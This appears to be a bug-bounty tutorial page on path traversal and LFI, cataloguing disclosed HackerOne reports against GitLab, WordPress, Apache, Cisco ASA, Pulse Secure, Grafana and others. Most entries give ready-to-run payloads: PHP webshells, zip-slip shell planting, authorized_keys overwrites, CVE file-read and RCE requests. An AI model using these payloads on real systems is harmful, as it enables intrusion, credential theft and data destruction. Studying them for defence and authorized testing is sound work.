⚠ Authorized testing only. Disclosed public bug-bounty data for defensive/educational research. Use payloads only against systems you are permitted to test.
LogoThe Hacktivity Field GuideReal-world web hacking, catalogued
🔎
Field Guide/Vulnerabilities/Path Traversal / LFI
Vulnerabilities

Path Traversal / LFI

§Basic information

Path traversal (a.k.a. directory traversal / LFI) is any bug where attacker-controlled text becomes part of a filesystem path without being normalized and confined, so a ../ sequence, an absolute path, a symlink, or an archive entry name escapes the intended directory. The core mechanism is always the same: some string you control is concatenated or resolved into a path and handed to open/read/write/extract before the app checks where that path actually lands.

Two primitives fall out of it, and neither ends at "I read /etc/passwd". An arbitrary read leaks secrets.yml / .env / CI signing keys / cloud creds. An arbitrary write lands your bytes on ~/.ssh/authorized_keys, a template, a cron file, or a loaded .so — and becomes RCE. Treat traversal as a mid-chain file-I/O primitive, and always ask "what is the highest-value file this process can touch?"

§Methodology

  1. Find the sink. Any parameter, path segment, header, manifest field, archive entry, or deeplink that ends up as a filename. Grep the app for download/export/import/restore/upload/cache/template features — those build paths from input.
  2. Learn how the path is assembled and decoded. Is your input the whole path, a segment appended to a fixed base, or a name field spliced into a template? How many decoders sit in front of it (proxy → framework → app)?
  3. Fire an inert canary and diff. Request a known-good file, then the same request with a traversal, and compare responses.
  4. Confirm with a tell, not a guess: root:x:0:0 in the body for a read, the app erroring differently, or the traversed file re-appearing on a later request for a write.
  5. Climb the encoding ladder against the specific decoder in front of the sink — plain, then encoded dots/slashes, then double-encoded, then the collapse/absolute/backslash variants.
  6. Escalate to impact. Read → go straight for secrets. Write → pick a file that executes.
# Baseline diff: request a real file, then traverse to a known target GET /download?file=report.pdf # 200, real file GET /download?file=../../../../etc/passwd # 200 + root:x:0:0 => confirmed read GET /download?file=....//....//etc/passwd # if THIS works, a naive one-shot "../" strip
▸ TIP
/etc/passwd only proves the primitive. It pays nothing on its own — pivot immediately to secrets.yml, .env, wp-config.php, /proc/self/environ, CI/CD signing keys. Read the file the process cares about, not the file every tutorial uses.

§Technique variants

Traversal shows up in more than the URL. Group your testing by where the path string is born.

Traversal in the request path

The classic: a URL path segment is turned straight into a filesystem path. The key detail is that the traversal must survive end-to-end — your HTTP client will collapse ../ before it ever leaves the machine unless you stop it, and the server-side decoder must not re-normalize.

# URL-encode the dots AND the slash so a literal "../" string match never sees it, # and pass --path-as-is so curl does not collapse the traversal client-side. curl --path-as-is -XPUT -H "Private-Token: $TOKEN" --data-binary @id_rsa.pub \ 'https://TARGET/api/v4/projects/2/packages/maven/a%2fb%2f1/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f.ssh%2fauthorized_keys'
▲ WARNING
Without --path-as-is (curl) or the equivalent, your ../ is normalized away locally and the traversal never reaches the server. Every "it doesn't work" against a path-building endpoint is worth re-testing with the raw path preserved.

Traversal in a name / value field

The URL path is often sanitized while a value that later becomes a filename is not. Hunt every field that ends up as an on-disk name: an upload's referenced filename, a package manifest field, a deeplink filename param, a Content-Disposition name, an Android content-provider DISPLAY_NAME, even an HTML <input accept> attribute.

# Traversal in the filename segment that FOLLOWS an otherwise-validated 32-hex secret; # only the hex is checked, the tail is spliced in raw. ![a](/uploads/11111111111111111111111111111111/../../../../../../../../etc/passwd)
<!-- The manifest/metadata field carries the traversal, not the request path --> <version>../../../../../nyangawa</version> <!-- inside a .nuspec / package manifest -->

Archive entry names (zip-slip / tar-slip)

Any untar/unzip of an attacker-supplied archive that writes entries relative to a base dir without validating the resolved path. The payload is the entry name, not the file content — a single crafted entry escapes the extraction directory.

# The zip ENTRY NAME carries the traversal; the content is your shell. # Standard `zip` won't store a ../ name, so set the entry name directly: python3 -c 'import zipfile; z=zipfile.ZipFile("evil.zip","w"); \ z.write("shell.php","../../../../../../var/www/html/shell.php"); z.close()' # On extract, ../ climbs out of $extract_dir into the webroot => PHP RCE on next request.

When filename ../ is filtered, a symlink slips past: the entry name is perfectly legal, but the link target points outside. Any import/restore/backup/move feature, or a privileged host that copies build artifacts out of a container by name, dereferences it.

# Symlink an expected file to the target; the extractor/collector follows the link. ln -sf /etc/passwd project.json # parser echoes non-JSON body => read oracle ln -s /srv/gitlab/config/secrets.yml ./<secret>/secrets.yml tar czf uploads.tar.gz ./<secret> # import re-uploads each resolved path
● NOTE
Extractors that only chmod symlinks (instead of removing them) stay followable — a defence that filters ../ in names does nothing against a link target. And a "collect artifacts / view files" step becomes a read oracle: the leaked file just shows up in the list.

Template / include params (LFI via URI scheme)

When a render/template/include parameter accepts a URI scheme, file:// and traversal are the first thing to try — a template loader is a direct LFI sink and usually an SSTI-to-RCE sink too.

POST /rest/tinymce/1/macro/preview HTTP/1.1 Host: TARGET Content-Type: application/json {"contentId":"12345","macro":{"name":"widget","body":"","params":{"url":"https://youtu.be/x","_template":"file://../"}}}

LFI to code execution (PHP wrappers, log poisoning)

Once you have a PHP include/require that reaches your input, the classic escalations are stream wrappers and log poisoning. (General background — recognise the sink, then apply.)

# Read source you cannot reach as a file (base64 so PHP doesn't execute it): GET /?page=php://filter/convert.base64-encode/resource=../../config.php # Inline PHP execution when input is included directly: GET /?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NdKTs/Pg==&c=id # Log poisoning: write PHP into a log via a header, then include the log. User-Agent: <?php system($_GET['c']); ?> GET /?page=../../../../var/log/apache2/access.log&c=id

§Bypasses

Filter / controlBypassSeen in
Literal "../" string matchURL-encode the dots+slash (%2e%2e%2f), keep client from collapsing (--path-as-is)#733072, #519220
Proxy normalizes oncedouble-URL-encode (%252e) so it decodes twice (proxy, then app)#1404731
One-shot ../ strip....//....// — the replace leaves a valid ../ behindgeneral
Filename ../ filteredsymlink inside the archive — legal entry name, link target escapes#1439593, #697055, #178152
URL path sanitizedput the traversal in a value field (nuspec <version>, upload filename)#822262, #827052
Only 32-hex secret validatedtraverse in the filename segment that follows the validated secret#827052
YAML value patchedsupply the same value via a CI/CD env var that skips the validated channel#409395
Reverse-proxy path ACL..;/ path-parameter segment reaches protected Tomcat contexts#1004007
file:// scheme restrictionnew privileged scheme (brave://) still maps to local paths, reachable via HTML Imports#390013
path.resolve() sanitizermonkey-patch Buffer.prototype.utf8Write to rewrite the resolved path after the check#2434811
Extension/type filterfixed buffer < MAX_PATH truncates .vmt.js; ..\ Windows separators#544096, #2995025
URI normalizationprovider DISPLAY_NAME / deeplink param supplies the name, not the URI#1115864, #2553411
▸ TIP
When ../ is stripped and nothing works, stop hammering the encoding and hunt for the second input channel feeding the same sink — an env var, a header, imported config, API vs UI. A patch that sanitizes one path almost always leaves another open (#409395 is the canonical lesson).

§Escalation & impact

Traversal is a primitive; the payout is in what you chain it into.

§Prevention

§Tools

Specimens — real-world examples

The techniques above are the general method. Below, each disclosed HackerOne report is a catalogued example — concrete payload, outcome, and matching practice lab. 181 in this class.

Real-world example

GitLab workhorse multipart bypass -> arbitrary file read

◆ Critical
Specimen #850447 · gitlab · 10000 · 409 votes · resolved
Program gitlabSurface apiTag file-upload

Root cause

Sending the upload field as `[package]` caused workhorse's rewritten_fields key to parse (via Rack::Utils.parse_nested_query) into the same hash as the legit field, passing validation while the accelerated-upload handler then trusted an attacker-controlled `?file.path=` query param pointing at any allowed_paths file.

Method

  1. POST an accelerated upload with field name bracketed: `[package]` / `[file]`
  2. Add query param file.path=/target/file to point at the file to read
  3. Use the wiki attachments API to drop the ownership restriction (file_content read)
  4. Steal in-flight uploads via file.path=/proc/<PID>/fd/<N> in a loop
curl -XPOST -H "Authorization: Bearer $TOKEN" 'http://gitlab/api/v4/projects/171/wikis/attachments?file.path=/tmp/ggg' -F '[file]=@/tmp/lala.txt' # in-flight upload theft curl -XPOST ...'?file.path=/proc/19603/fd/44' -F '[file]=@/tmp/x'

Insight — When a proxy signs 'rewritten fields' and the app re-parses them, bracketed/nested field names (`[x]`) can collapse to the expected key and desync validation from the trusted path. /proc/PID/fd is a powerful primitive to grab other users' in-flight temp files.

Real-world example

Arbitrary file read via upload-rewriter filename traversal (GitLab issue move)

◆ Critical
Specimen #827052 · gitlab · USD 20000 · 1500 votes · resolved
Program gitlabSurface webChain arbitrary file read -> leak secrets.yml/tokens/configTag file-upload

Root cause

When an issue is moved between projects, UploadsRewriter passes the markdown-referenced upload filename to the file store with no traversal validation, so '../' in the file segment copies arbitrary server files into the new project.

Method

  1. Create two projects
  2. Add an issue whose description references an upload with a '../' traversal to a target file
  3. Move the issue to the second project
  4. Download the file that was copied into the second project
![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../etc/passwd)

Insight — Any feature that copies/moves user-referenced upload files by name (issue move, group/project import, attachment rewrite) is a traversal sink. Where the path is secret+filename and only the 32-hex secret is validated, the filename segment is still injectable.

Real-world example

Re-introducing path traversal via a second input channel (env var) that skips the validated one

◆ Critical
Specimen #409395 · gitlab · awarded · 362 votes · resolved
Program gitlabSurface webChain traversed cache key -> poison/read another job's cache -&

Root cause

The fix for a CI cache-key path traversal validated only values coming through .gitlab-ci.yml; the same value could instead be supplied via a project CI/CD environment variable, which was interpolated into the key without normalization.

Method

  1. Set a project CI/CD variable ONE = ../1/key
  2. Reference it as the cache key: key: "$ONE"
  3. Trigger a pipeline; the traversed key writes/reads cache outside the intended dir
# Settings > CI/CD > Variables: ONE = ../1/key a: script: [echo a] cache: key: "$ONE" policy: pull # or push to poison paths: ['.']

Insight — When a filter is patched on one input path, hunt for every other channel feeding the same sink (env vars, headers, imported config, API vs UI). Validation applied at parse time is bypassed by late variable interpolation.

Real-world example

Arbitrary read via symlink in imported uploads.tar.gz (GitLab bulk import)

◆ Critical
Specimen #1439593 · gitlab · USD 29000 · 326 votes · resolved
Program gitlabSurface webChain arbitrary file read -> secrets.yml -> secret_key_base Tag file-upload

Root cause

The bulk-import UploadsPipeline extracts uploads.tar.gz but only chmods -- it never removes symlinks -- then opens and re-uploads each extracted path, so a symlink in the tar is followed to read arbitrary git-user files.

Method

  1. Create a group with an upload and note the 32-hex secret
  2. Build a tar whose directory (named as the secret) contains symlinks to /etc/passwd and secrets.yml
  3. Host a proxy that swaps in the malicious uploads.tar.gz during group import
  4. Import the group
  5. Open the milestone and download the linked files via the upload URLs
mkdir ./d3209c811fee407218bff7cb3b4333e6 ln -s /etc/passwd ./d3209c811fee407218bff7cb3b4333e6/passwd ln -s /srv/gitlab/config/secrets.yml ./d3209c811fee407218bff7cb3b4333e6/secrets.yml tar cvzf uploads.tar.gz ./d3209c811fee407218bff7cb3b4333e6

Insight — Import/restore features that untar attacker-supplied archives should be probed with symlink entries: extractors that only chmod (not remove) symlinks become arbitrary-read oracles even when filename '../' is filtered.

Real-world example

Symlink a build artifact to a host path -> host arbitrary file read on export

◆ Critical
Specimen #697055 · semmle · 2000 · 178 votes · resolved
Program semmleSurface otherChain symlink artifact -> host follows link -> host file exfTag file-upload

Root cause

After a build, the host copies selected files (config/log files) out of the container by name; if the attacker replaces such a file with a symlink, the host follows the link and copies the HOST machine's file (not the container's), leaking arbitrary host files.

Method

  1. In the build, delete the file the host will collect (e.g. the effective config or log file).
  2. Create a symlink with that expected name pointing at a host path (/etc/passwd, secrets, etc.).
  3. Let the build finish; when the host copies the artifact by name it dereferences the symlink on the host and returns host file contents to you.
# config-name variant (.lgtm.yml is parsed-then-skipped but still collected): ln -s /etc/passwd .lgtm.yml # or log variant (report 694181): extraction: cpp: after_prepare: - rm -rf /opt/out/snapshot/log/build.log && ln -s /etc/passwd /opt/out/snapshot/log/build.log

Insight — Whenever a more-privileged process copies files OUT of a sandbox by path, symlinks in the sandbox can redirect the read to the privileged side. Test any 'collect artifacts / view file list' feature by symlinking the expected artifact name to a host-side secret.

Real-world example

upload_path traversal in wp_mkdir_p chmods arbitrary dirs -> hardening bypass -> RCE (WordPress)

◆ Critical
Specimen #436928 · wordpress · awarded · 164 votes · resolved
Program wordpressSurface webChain perms bypass -> upload PHP shell -> LFI include via _wTag file-upload

Root cause

The admin-controllable 'upload_path' option flows into wp_mkdir_p, which chmods each segment of the (attacker) target path to the parent directory's permissions, letting an attacker make arbitrary directories world-writable and defeat WordPress hardening.

Method

  1. Set upload_path to a traversal payload whose realpath lands in a writable dir (e.g. /var/tmp)
  2. Trigger a media upload so wp_mkdir_p runs and chmods each path segment to 777
  3. Point upload_path at the theme directory, upload shell.txt containing PHP
  4. Include it via the _wp_page_template post meta -> RCE
../../../../../../../var/tmp/content/../../../../../../home/simon/html/wordpress/../../../../../../var/tmp/content

Insight — Functions that copy a parent directory's permissions while iterating an attacker-controlled path are a chmod primitive; admin options that become filesystem paths bypass read-only-webroot hardening.

Real-world example

Symlink in import archive + JSON.parse error reflects arbitrary file contents

◆ Critical
Specimen #178152 · gitlab · none · 114 votes · resolved
Program gitlabSurface webChain symlink file read -> read secrets/config -> RCE (CVE-2Tag file-upload

Root cause

The GitLab export importer follows symlinks in the uploaded archive; pointing project.json at an arbitrary file (e.g. /etc/passwd) makes JSON.parse fail on non-JSON content, and the framework's error handler echoes the entire file body back to the UI, giving arbitrary file read (escalatable to RCE).

Method

  1. Build an export archive; replace project.json with a symlink to the target file
  2. Also symlink VERSION to leak first lines / control flow
  3. Re-tar and upload as a project import
  4. Read the target file contents from the returned JSON.parse error message
# in export dir: ln -sf /etc/passwd project.json ln -sf /etc/passwd VERSION tar -czvf evil.tar.gz . # upload via /projects/new (GitLab export import)

Insight — Any feature that unpacks a user archive (import/restore/backup, ZIP/tar) should be tested for symlink following; combine with a verbose parser that reflects failed-parse input to convert 'file exists' into full arbitrary file read.

Real-world example

Apache httpd 2.4.49 encoded-dot traversal (CVE-2021-41773)

◆ Critical
Specimen #1394916 · ibb · USD 4000 · 96 votes · resolved
Program ibbSurface webChain file read -> with CGI enabled -> RCE

Root cause

A path-normalization regression in Apache httpd 2.4.49 lets encoded-dot ('.%2e') sequences in the URL escape Alias-mapped directories, exposing files outside the docroot; with mod_cgi enabled on an aliased path it becomes RCE.

Method

  1. Fingerprint Server: Apache/2.4.49
  2. Send an encoded-dot traversal against a cgi-bin/alias path
  3. If the target dir lacks 'require all denied' the file is served; if CGI is enabled, POST to execute
curl --path-as-is "http://TARGET/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"

Insight — On seeing Apache/2.4.49, test the encoded-dot traversal immediately; the 2.4.50 fix was incomplete (CVE-2021-42013 needs double encoding e.g. '.%%32%65'). Exploited in the wild.

Real-world example

Local file read from the web via custom browser protocol (brave://)

◆ Critical
Specimen #390013 · brave · awarded · 74 votes · resolved
Program braveSurface desktopChain Web page -> <link rel=import brave:///path> -> r

Root cause

A custom privileged URL scheme (brave://) resolved to local filesystem paths and was reachable from web content via HTML Imports, so a web page could load brave:///etc/passwd through <link rel=import> and read local files, bypassing the file:// same-origin/scheme restrictions the previous fix relied on.

Method

  1. Host a web page that imports a local path through the custom scheme
  2. Use <link rel=import href="brave:///etc/passwd"> with an onload handler
  3. On load, read the imported document body -> contents of the local file
<link id=link href="brave:///etc/passwd" rel=import as=document onload="show()"> <script>function show(){alert(link.import.querySelector('body').innerHTML)}</script>

Insight — When a browser/Electron/Muon app introduces a custom protocol to replace a restricted one (file://, asar://), test whether the new scheme is (a) reachable from remote web content and (b) still maps to local paths. Fixes that swap the scheme often reintroduce local file read because the new handler lacks the origin checks. Try it through HTML Imports, fetch, iframe, and <object>.

Real-world example

Cisco ASA WebVPN traversal in Cookie token -> unauth file read/delete (CVE-2020-3187)

◆ Critical
Specimen #960330 · deptofdefense · none · 70 votes · resolved
Program deptofdefenseSurface network

Root cause

The Cisco ASA/FTD web services interface fails to validate the HTTP URL, so directory-traversal sequences carried in the session token let an unauthenticated attacker read and delete files in the web services filesystem.

Method

  1. Confirm /+CSCOE+/session_password.html returns 200
  2. Send a request with a traversal sequence in the Cookie token value to delete a webroot file (restored on reboot)
curl -k -H "Cookie: token=../+CSCOU+/csco_logo.gif" "https://TARGET/+CSCOE+/session_password.html"

Insight — Appliance WebVPN portals (+CSCOE+ / +CSCOU+) are recurring traversal targets; remember traversal can live in a header/cookie value, not only the URL path.

Real-world example

Cisco ASA WebVPN +CSCOU+/../+CSCOE+ traversal -> unauth file list/read (CVE-2018-0296)

◆ Critical
Specimen #2375666 · mtn_group · none · 61 votes · resolved
Program mtn_groupSurface network

Root cause

The Cisco ASA/FTD web interface improperly validates the HTTP URL, so a +CSCOU+/../+CSCOE+ traversal reads directory listings and sensitive files without authentication (and can DoS-reload the device).

Method

  1. Send a request to the WebVPN file_list endpoint using the +CSCOU+/../+CSCOE+ virtual-path traversal with a path parameter
  2. Read the returned file listing / file contents
https://TARGET/+CSCOU+/../+CSCOE+/files/file_list.json?path=%2bCSCOE%2b

Insight — Cisco ASA WebVPN is a recurring traversal target across CVEs (2018-0296 read/list, 2020-3452 read, 2020-3187 delete); pivot on the +CSCOU+/+CSCOE+ virtual paths.

Real-world example

Local file disclosure via file-serving path parameter

◆ Critical
Specimen #684836 · deptofdefense · none · 51 votes · resolved
Program deptofdefenseSurface webChain LFD -> web.config DB creds + source code disclosure

Root cause

A file-download handler takes a caller-controlled path parameter and returns its contents without restriction, allowing download of web.config (DB credentials) and server-side source files (.aspx.cs).

Method

  1. Find a download/render endpoint that takes a file path (e.g. file.ashx?path=).
  2. Request configuration files: ?path=web.config to obtain DB credentials.
  3. Request server-side source: ?path=UserAccountJSON.aspx.cs to read application code (and mine it for more secrets).
https://TARGET/file.ashx?path=web.config https://TARGET/file.ashx?path=UserAccountJSON.aspx.cs

Insight — Any endpoint with a path/file/name/template parameter is a candidate LFD. On .NET, prioritize web.config (connection strings, machineKey) and *.aspx.cs source; source disclosure then compounds into credential leaks and further exploitation. Discovered here by scanning a DoD-controlled ASN IP range.

Real-world example

CI cache key '../<id>/cache' crosses project isolation -> read + poison (GitLab)

◆ Critical
Specimen #301432 · gitlab · USD 2000 · 43 votes · resolved
Program gitlabSurface webChain cache read -> cache poison (overwrite cached executables)

Root cause

The GitLab CI runner builds the shared-cache URL/path by prepending the project ID to an attacker-controlled cache 'key'; a '../' in the key traverses to another project's cache, enabling cross-project cache read and poisoning (CVE-2017-0918).

Method

  1. In .gitlab-ci.yml set cache key to '../<other-project-id>/cache' with policy pull and path '.' to extract another project's cache into the workspace (read via 'ls -lashR')
  2. Switch to policy push to overwrite files in that cache (poison)
  3. Victim project's next pipeline pulls the poisoned cache -> runs attacker content
a: script: - ls -lashR cache: key: ../1/cache policy: pull paths: - .

Insight — Shared/multi-tenant caches keyed by a concatenated ID + user key are traversal sinks; '../' in the key crosses tenant boundaries, and 'push' policy turns read into supply-chain code execution in other pipelines.

Real-world example

Pulse Secure SSL VPN pre-auth arbitrary file read -> RCE chain (CVE-2019-11510)

◆ Critical
Specimen #695005 · deptofdefense · awarded · 39 votes · resolved
Program deptofdefenseSurface webChain CVE-2019-11510 pre-auth file read -> cleartext creds ->

Root cause

Pulse Secure SSL VPN's dana-na handler allows unauthenticated path traversal to read arbitrary files; because it stores credentials in cleartext, reading them yields VPN access which is then escalated to root via the post-auth command injection CVE-2019-11539.

Method

  1. Fingerprint Pulse Secure (dana-na login, version).
  2. Read arbitrary files pre-auth with the guacamole traversal (use --path-as-is to preserve ../).
  3. Read the plaintext credential/session store, authenticate to the VPN.
  4. Exploit CVE-2019-11539 (post-auth command injection) for RCE as root.
curl -i -k --path-as-is https://TARGET/dana-na/../dana/html5acc/guacamole/../../../../../../etc/passwd?/dana/html5acc/guacamole/

Insight — When an appliance has a pre-auth file-read, the highest-value target is its own credential/session store (often cleartext), turning file-read into authenticated access and then chaining an appliance-specific post-auth RCE. --path-as-is is required so curl doesn't normalize the traversal.

Real-world example

Apache 2.4.50 CVE-2021-42013 mangled double-encoding traversal -> RCE

◆ Critical
Specimen #1404731 · ibb · USD 1000 · 26 votes · resolved
Program ibbSurface webChain double-encoding traversal -> map into cgi-bin -> POST Tag file-upload

Root cause

The CVE-2021-41773 fix in Apache 2.4.50 only normalized single-encoded dots; a nested/mangled encoding of '.' (%%32%65 => %2e => .) re-introduces ../ mapping to files outside Alias-configured dirs, and with mod_cgi enabled allows RCE.

Method

  1. Target Apache httpd 2.4.49 or 2.4.50 with an aliased path (e.g. /cgi-bin/ or /icons/)
  2. Use %%32%65 (which decodes to %2e then .) to build traversal segments
  3. GET reads arbitrary files; POST to /bin/sh via cgi-bin executes commands
# file read: GET /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd HTTP/1.1 Host: TARGET # RCE (mod_cgi enabled): POST /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh HTTP/1.1 Host: TARGET Content-Length: 60 echo Content-Type: text/plain; echo; id; uname; apache2ctl -M

Insight — Against incomplete traversal patches, try layered/mangled encodings the fix's regex missed: %%32%65, .%%32%65, .%%32e, .%2%65. Requires the segment to sit under an Alias/ScriptAlias not covered by 'require all denied'; cgi-bin turns file read into RCE.

Real-world example

Grafana plugin path traversal (CVE-2021-43798) unauth file read

◆ Critical
Specimen #1427086 · mtn_group · none · 24 votes · resolved
Program mtn_groupSurface webChain File read -> DB creds/secret_key in grafana.ini -> deeTag file-upload

Root cause

Grafana 8.x serves plugin static assets via /public/plugins/<id>/<file> without normalizing URL-encoded traversal, allowing unauthenticated arbitrary file read.

Method

  1. Identify Grafana 8.x (default :3000)
  2. Request a valid plugin id path with URL-encoded ../ sequences
  3. Read /etc/passwd, then grafana.ini/defaults.ini for DB creds and secret_key
curl http://TARGET:3000/public/plugins/mysql/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd curl http://TARGET:3000/public/plugins/mysql/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fusr%2Fshare%2Fgrafana%2Fconf%2Fdefaults.ini

Insight — Fingerprint Grafana version, then read conf/defaults.ini + custom.ini for admin creds, database DSN and secret_key. Use a real installed plugin id (mysql/prometheus) as the traversal prefix. Encoded %2F defeats naive path cleaning.

Real-world example

Pulse Secure SSL VPN pre-auth file read to root RCE (CVE-2019-11510 chain)

◆ Critical
Specimen #678496 · deptofdefense · none · 21 votes · resolved
Program deptofdefenseSurface networkChain pre-auth arbitrary file read -> cleartext credential thefTag account-takeover

Root cause

Path-normalization flaw in the Pulse Secure /dana-na/ web handler lets an unauthenticated attacker traverse to arbitrary files; the appliance stores plaintext admin credentials on disk, so file read chains directly to authenticated command injection.

Method

  1. Confirm exposure by reading /etc/passwd via the guacamole path-traversal gadget with curl --path-as-is
  2. Read /data/runtime/mtmp/lmdb/dataa/data.mdb to recover cleartext admin/user credentials
  3. Log into the VPN admin as the recovered admin
  4. Trigger post-auth command injection (CVE-2019-11539) to run commands as root
curl -i -k --path-as-is https://TARGET/dana-na/../dana/html5acc/guacamole/../../../../../../etc/passwd?/dana/html5acc/guacamole/ curl -k --path-as-is https://TARGET/dana-na/../dana/html5acc/guacamole/../../../../../../data/runtime/mtmp/lmdb/dataa/data.mdb?/dana/html5acc/guacamole/

Insight — When an appliance file-read primitive exists, immediately look for on-disk credential/session stores (here LMDB data.mdb) to convert unauth read into authenticated access and then RCE. The trailing ?/dana/html5acc/guacamole/# suffix and --path-as-is are needed so the traversal survives normalization.

Real-world example

Cisco ASA/FTD unauth file delete via traversal in Cookie (CVE-2020-3187)

◆ Critical
Specimen #1031437 · deptofdefense · none · 19 votes · resolved
Program deptofdefenseSurface networkChain unauth file delete -> delete WebVPN Lua -> DoS

Root cause

The Cisco ASA/FTD WebVPN interface processes directory-traversal sequences in the session token (Cookie), allowing an unauthenticated attacker to view/delete arbitrary files in the web-services filesystem (deleting Lua files DoSes WebVPN until reboot).

Method

  1. Fingerprint WebVPN (+CSCOE+/+CSCOU+ paths)
  2. Non-destructive probe: GET /+CSCOE+/session_password.html -> 200 = vulnerable, 404 = patched
  3. To delete, send traversal in the token Cookie against session_password.html
# vuln check (safe) curl -sk https://TARGET/+CSCOE+/session_password.html -o /dev/null -w '%{http_code}\n' # file deletion PoC curl -sk -H 'Cookie: token=../+CSCOU+/csco_logo.gif' https://TARGET/+CSCOE+/session_password.html

Insight — Fingerprint appliances to known CVEs; many have a safe existence-probe (here a 200 on a path removed in patched builds). Path traversal isn't only in query params — appliance code parses it out of Cookies/tokens too.

Real-world example

WordPress arbitrary file deletion via attachment thumb meta -> RCE

◆ Critical
Specimen #291878 · wordpress · none · 17 votes · resolved
Program wordpressSurface webChain arbitrary file deletion -> delete wp-config.php -> re-Tag file-upload

Root cause

The editattachment action stores $_POST['thumb'] into attachment metadata unsanitized; wp_delete_attachment later passes that value to @unlink(path_join(basedir, thumb)), so a ../ thumb value deletes arbitrary files.

Method

  1. Upload an image via the media library
  2. Call post.php with action=editattachment and thumb set to a ../ path (e.g. ../../../../wp-config.php)
  3. Delete the attachment from admin; wp_delete_attachment unlinks the traversed target
curl 'http://TARGET/wp-admin/post.php?post=POSTID&action=editattachment&_wpnonce=NONCE' \ -H 'Cookie: <authenticated cookies>' \ --data 'thumb=../../../../wp-config.php' # then delete the attachment in wp-admin

Insight — Arbitrary file DELETE is a strong primitive: deleting wp-config.php drops the site into the install wizard, letting an attacker point it at their own DB = RCE; deleting .htaccess/index.php exposes directory contents. @unlink is silent so failed attempts leave no trace. Hunt user-controlled filename/path fields that flow to unlink/delete.

Real-world example

VMware EAM vib?id= arbitrary file read

◆ Critical
Specimen #1069105 · mtn_group · none · 16 votes · resolved
Program mtn_groupSurface web

Root cause

The VMware ESX Agent Manager (EAM) endpoint /eam/vib takes an id parameter that is used directly as a filesystem path, so an absolute path (or traversal) in id returns arbitrary local files.

Method

  1. Identify VMware vSphere/EAM hosts (vc., ips. subdomains, VMware login).
  2. Request /eam/vib with id set to an absolute path or traversal to a sensitive file.
GET /eam/vib?id=/etc/passwd HTTP/1.1 Host: TARGET

Insight — Product-specific file-read sinks (VMware EAM vib?id=) are worth memorizing and mass-testing across an org's VMware surface — the same one-line payload hit two hosts here. Enumerate subdomains for vCenter/ESXi and fire known LFI paths.

Real-world example

Nginx off-by-slash traversal leaking .git/config GitHub token

◆ Critical
Specimen #1386547 · adobe · none · 15 votes · resolved
Program adobeSurface webChain Off-by-slash traversal -> .git/config leak -> GitHub t

Root cause

An nginx `location /X` (no trailing slash) with `alias /path/;` (trailing slash) lets a request to `/X../` traverse one directory above the alias root, exposing files such as .git/config containing credentials.

Method

  1. Find an nginx alias location (e.g. static/assets path)
  2. Request <location>../ to escape the alias root
  3. Retrieve .git/config and extract the embedded GitHub username/token
  4. git clone the private repo with the leaked token
GET /STATIC../.git/config # off-by-slash: location /STATIC + alias /path/ -> /path../ = parent dir

Insight — Probe every nginx alias-served location with a trailing ../ (off-by-slash); grab .git/config, .env, backup files for secrets. A leaked repo token escalates to source-code read/write.

Real-world example

Path-normalization bypass of static-server denylist (unlisted/rewrites)

◆ Critical
Specimen #486933 · nodejs-ecosystem · none · 13 votes · resolved
Program nodejs-ecosystemSurface web

Root cause

The static file server (serve/serve-handler) matches its unlisted/rewrites denylist against the raw request path before normalization, so a request that detours through another segment and back with ../ evades the block yet still resolves to the forbidden file on disk.

Method

  1. Configure server to block a secret file and .git via rewrites/unlisted
  2. Confirm direct request is 404
  3. Request any allowed segment then traverse back with ../ to the forbidden path (send raw, unnormalized)
curl 'http://TARGET/any/../.git/HEAD' --path-as-is # -> ref: refs/heads/master curl 'http://TARGET/any/../secret' --path-as-is # -> secret text

Insight — When a server implements its own allow/deny rules, test whether the rule runs on the raw or normalized path. Inject ./ and seg/../ so the denylist sees a different string than the filesystem resolves. Use --path-as-is so the client doesn't pre-normalize. Prime targets: .git/HEAD, .env, config, backups behind 'unlisted' rules.

Real-world example

Node static-file-server traversal (browser-normalization bypass)

◆ Critical
Specimen #306607 · nodejs-ecosystem · none · 13 votes · resolved
Program nodejs-ecosystemSurface web

Root cause

Node static-file servers (html-pages, hekto, simplehttpserver, serve) concatenate the URL path onto the webroot without normalization; the browser normalizes ../ away, but raw requests or URL-encoded dots reach the unsanitized handler.

Method

  1. Run/identify a node static server
  2. In a browser, %2e%2f-encode the dots to list parent directories
  3. To read files, send the raw request with curl --path-as-is (bypasses browser normalization)
curl -v --path-as-is http://TARGET:8000/../../../../../etc/passwd # browser directory-listing variant: http://TARGET:8000/.%2e/.%2e/

Insight — When a browser blocks ../, resend the request raw with curl --path-as-is or via Burp, or URL-encode as %2e/%2f; these servers only ever guarded the normalized browser path, not the wire path.

Real-world example

Traversal gated behind a required extension substring (missing $ anchor)

◆ Critical
Specimen #358112 · nodejs-ecosystem · none · 12 votes · resolved
Program nodejs-ecosystemSurface web

Root cause

buttle's markdown middleware only reaches the file-read branch when the URL matches /\.markdown/ (no end anchor) and then reads the joined path without any ../ check, so including the magic substring anywhere plus ../ reads arbitrary files.

Method

  1. Confirm the server only serves paths containing .md/.markdown
  2. Craft a raw URL with ../ traversal that also contains the substring .markdown
  3. Send via Burp/curl to read the target file
GET /../../../../etc/passwd%23.markdown # any URL containing '.markdown' plus ../ reaches the unsanitized fs.readFile

Insight — When a router gates file access on a substring/extension before reading, satisfy the gate (append or embed the required token) while traversing; a missing $ anchor in the regex lets the token appear anywhere in the path, not just at the end.

§References & practice

  1. PortSwigger Web Security Academy — Path traversal labs (hands-on practice).
  2. All 181 disclosed reports for this class are catalogued as specimens above.
  3. See also: exploit chains · payload libraries · methodology.